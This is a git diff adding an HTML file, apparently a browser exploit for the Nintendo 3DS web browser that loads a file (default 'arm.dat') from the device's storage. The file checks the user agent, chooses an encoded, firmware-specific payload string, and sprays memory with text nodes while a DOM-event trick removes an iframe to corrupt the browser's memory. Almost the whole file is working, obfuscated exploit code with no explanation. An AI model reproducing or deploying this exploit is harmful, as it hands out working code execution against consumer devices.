diff --git a/2xrsa.html b/2xrsa.html
new file mode 100644
index 0000000000..f14db370a3
--- /dev/null
+++ b/2xrsa.html
@@ -0,0 +1,51 @@
+<html><head><script>
+d=document,r=parent,w=window,n=navigator.userAgent;
+if(r==w){
+	l='arm.dat',u=decodeURI(d.URL),g=u.split('?');
+	if(g.length>1){
+		g=g[1].split('&');
+		if(g[0].length>0&&g[0].length<25)l=g[0];
+	}
+	d.title='Load '+l;
+	w.onload=function(){
+		if(n.indexOf('1.7538.CN')>=0)n=n.replace('.CN',confirm('系统版本4.2-4.4选择OK，系统版本4.5选择取消。')?'.CN.42':'.CN.45');
+		d.body.childNodes[0].innerHTML=l+' loading<iframe height=0 src=#/>';
+	}
+}else{
+	w.onload=function(){
+		b=0,f=w.frameElement,p=f.parentNode,o=d.createElement('object');
+		o.addEventListener('beforeload',function(){
+			if(++b==1)p.addEventListener('DOMSubtreeModified',r.z);
+			else if(b==2)p.removeChild(f);
+		});
+		d.body.appendChild(o);
+	}
+}
+function z(){
+	if(n.indexOf('Nintendo 3DS')>=0){
+		m=[],q={'17412':'',
+			'17455':'噘-\ud954쌰*䱗*㌰3噘-\ud954쌰*찀ॸ妄!敠ࢴ\0@#밀%쌰*찄ॸꔨ&\0\0顤@#噘-\ud954쌰*찀ॸ妄!찠ॸ\0 䀀\0ꡤ/噘-\ud954쌰*鐸;妄!老￿\0ᡁࠀ彴4쌰*葰?ꔨ&撬ࢴ,\0\0ᡁὈࠀ￿￿쌰*\0噘-\ud954쌰*⠀ꔨ&\0\0㺄*\0 @#@#@#撌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#搀ࢴ\0\0\ud954@#@#@#@#@#@#@#@#@#\ud954\ud954dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#噀-',
+			'17498':'樴-\udb6c해*弧*⯨3樴-\udb6c해*찀ॸ瑐!畠ࢴ\0@#낤%해*찄ॸ靘&\0\0鮔@#樴-\udb6c해*찀ॸ瑐!찠ॸ\0 䀀\0죤/樴-\udb6c해*搼;瑐!老￿\0ᡁࠀ䰬4해*啀?靘&璬ࢴ,\0\0ᡁὈࠀ￿￿해*\0樴-\udb6c해*⠀靘&\0\0儼*\0 @#@#@#璌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#琀ࢴ\0\0\udb6c@#@#@#@#@#@#@#@#@#\udb6c\udb6cdmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#樜-',
+			'17538C42':'',
+			'17538C45':'',
+			'17538K':'',
+			'17538T':'',
+			'17552':'Τ埠쌠僋쨨Τ埠쌠찀ॸ㷀啠ࢸ\0@#﹄"쌠찄ॸ謐"\0\0暰@#Τ埠쌠찀ॸ㷀찠ॸ\0 䀀\0蛀Τ埠쌠Ꜭ=㷀老￿\0ᡁࠀ숨쌠粘=謐"咬ࢸ뽐\0\0ᡁὈࠀ￿￿￿￿\0Τ埠쌠⠀謐"\0\0䈌\0 @#@#@#和ࢸ@#@#@#@#@#@#@#@#@#@#@#@#吀ࢸ\0\0埠@#@#@#@#@#@#@#@#@#埠埠dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#Ό',
+			'17552C':'',
+			'17552K':'',
+			'17552T':'',
+			'17567':'͜埄싼傳쨰͜埄싼찀ॸ㶬蕠ࢸ\0@#︈"싼찄ॸ諴"\0\0暔@#͜埄싼찀ॸ㶬찠ॸ\0 䀀\0蛜͜埄싼Ꜭ=㶬老￿\0ᡁࠀ쇠싼粘=諴"蒬ࢸ뼈\0\0ᡁὈࠀ￿￿￿￿\0͜埄싼⠀諴"\0\0䇸\0 @#@#@#蒌ࢸ@#@#@#@#@#@#@#@#@#@#@#@#萀ࢸ\0\0埄@#@#@#@#@#@#@#@#@#埄埄dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#̈́',
+			'17567C':'',
+			'17567K':'',
+			'17567T':''
+		}[n.split('/').pop().replace(/[^\dCKT]/g,'')],
+		s=q.indexOf("dmc:/")+5;
+		q=q.substring(0,s)+l+"\0"+q.slice(s+l.length+1);
+		q+=Array(384-q.length+1+1).join('\0');
+		for(j=1;j<410;j++){
+			i=j/96,a=Array(j);
+			for(k=0;k<i;a[k++]=q);
+			m.push(d.createTextNode(String.fromCharCode.apply(null,Array(a))));
+		}
+	}
+}</script></head><body><h1>.</h1></body></html>
